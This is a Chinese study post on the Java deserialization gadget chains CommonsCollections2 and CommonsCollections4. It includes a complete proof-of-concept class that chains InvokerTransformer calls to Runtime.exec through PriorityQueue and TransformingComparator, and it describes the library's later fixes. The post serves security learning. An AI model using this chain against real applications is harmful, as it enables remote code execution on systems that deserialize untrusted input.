反序列化Gadget學習篇七 CommonCollections2/4與漏洞修復
背景:
Apache Commons Collections是一個著名的輔助開發庫,包含了一些Java中沒有的資料結構和和輔助方法,不過隨著Java 9以後的版本中原生庫功能的豐富,以及反序列化漏洞的影響,它也在逐漸被升級或替代。
在2015年底commons-collections反序列化利用鏈被提出時,Apache Commons Collections有以下兩個分支版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
可⻅,groupId和artifactId都變了。前者是Commons Collections老的版本包,當時版本號是3.2.1;後者是官方在2013年推出的4版本,當時版本號是4.0。那麼為什麼會分成兩個不同的分支呢?
官方認為舊的commons-collections有一些架構和API設計上的問題,但修復這些問題,會產生大量不能向前相容的改動。所以,commons-collections4不再認為是一個用來替換commons-collections的新版本,而是一個新的包,兩者的名稱空間不衝突,因此可以共存在同一個專案中。
依賴的區別:
<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons- collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commons- collections4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
3.2.1中存在反序列化利用鏈在4.0版本仍然可以利用,只需要進行一點改動:
LazyMap.decorate
改為LazyMap.lazyMap
即可
CommonCollections4版本的新鏈
commons-collections這個包之所有能攢出那麼多利用鏈來,除了因為其使用量大,技術上原因是其中包含了一些可以執行任意方法的Transformer。所以,在commons-collections中找Gadget的過程,實際上可以簡化為,找一條從
Serializable#readObject()
方法到Transformer#transform()
方法的呼叫鏈。
4版本有yso裡有兩個新鏈,CommonCollections2和CommonCollections4;
CommonCollection2
關鍵類:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue
是一個有自己readObject()方法的類:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
org.apache.commons.collections4.comparators.TransformingComparator
裡呼叫了transform()方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
連線起來的呼叫順序:
PriorityQueue#readObject()
中呼叫了heapify()
方 法,heapify()
中呼叫了 siftDown()
,siftDown()
中呼叫了siftDownUsingComparator()
, siftDownUsingComparator()
中呼叫的comparator.compare()
,於是就連線到上面的TransformingComparator
了。流程比較簡單。
關於PriorityQueue
- java.util.PriorityQueue 是一個優先佇列(Queue),基於二叉堆實現,佇列中每一個元素有自己的優先順序,節點之間按照優先順序大小排序成一棵樹
- 反序列化時為什麼需要呼叫 heapify() 方法?為了反序列化後,需要恢復(換言之,保證)這個結構的順序
- 排序是靠將大的元素下移實現的。
siftDown()
是將節點下移的函式, 而comparator.compare()
用來比較兩個元素大小 TransformingComparator
實現了java.util.Comparator
介面,這個介面用於定義兩個物件如何進行比較。siftDownUsingComparator()
中就使用這個介面的compare()
方法比較樹的節點。
構造Gadgets
- 準備Transform陣列
Transformer transformer[] = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) };
- 準備Comparator
Transformer transformerChain = new ChainedTransformer(faketanformer); Comparator comparator = new TransformingComparator(transformerChain);
- 初始化PriorityQueue,transform是在compare觸發,至少有兩個元素才會觸發比較
PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(2);
完整程式碼:
package changez.sec.CC2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonCollections2 {
public static void main(String[] args) throws Exception{
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer faketanformer[] = new Transformer[]{
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(faketanformer);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
Object o = ois.readObject();
}
}
有了前面的經驗,我們可以改造這個poc,比如使用TemplatesImpl
,去掉陣列的限制,讓其在shiro中可用。
CommonCollection4
ysoserial中CommonCollection4實際上是上面CC2與前面說過的CC3的一個結合:
前一段和CC2一樣,通過PriorityQueue的compare方法觸發transform,transform部分和CC3相同,執行TrAXFilter的構造方法,最終載入構造好的惡意TemplatesImpl。
修復
Apache Commons Collections官方在2015年底得知序列化相關的問題後,就在兩個分支上同時釋出了新的版本,4.1和3.2.2。
在3.2.2上,新版本增加了一個方法FunctorUtils#checkUnsafeSerialization
用來檢測徐倆號是否安全。
這個檢查在常⻅的危險Transformer類(InstantiateTransformer
、 InvokerTransformer
、PrototypeFactory
、CloneTransformer
等)的 readObject 裡進行呼叫,所以,當我們反序列化包含這些物件時就會丟擲一個異常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
在4.1裡,這幾個危險Transformer類不再實現 Serializable 介面,也就是說,這幾個徹底無法序列化和反序列化了。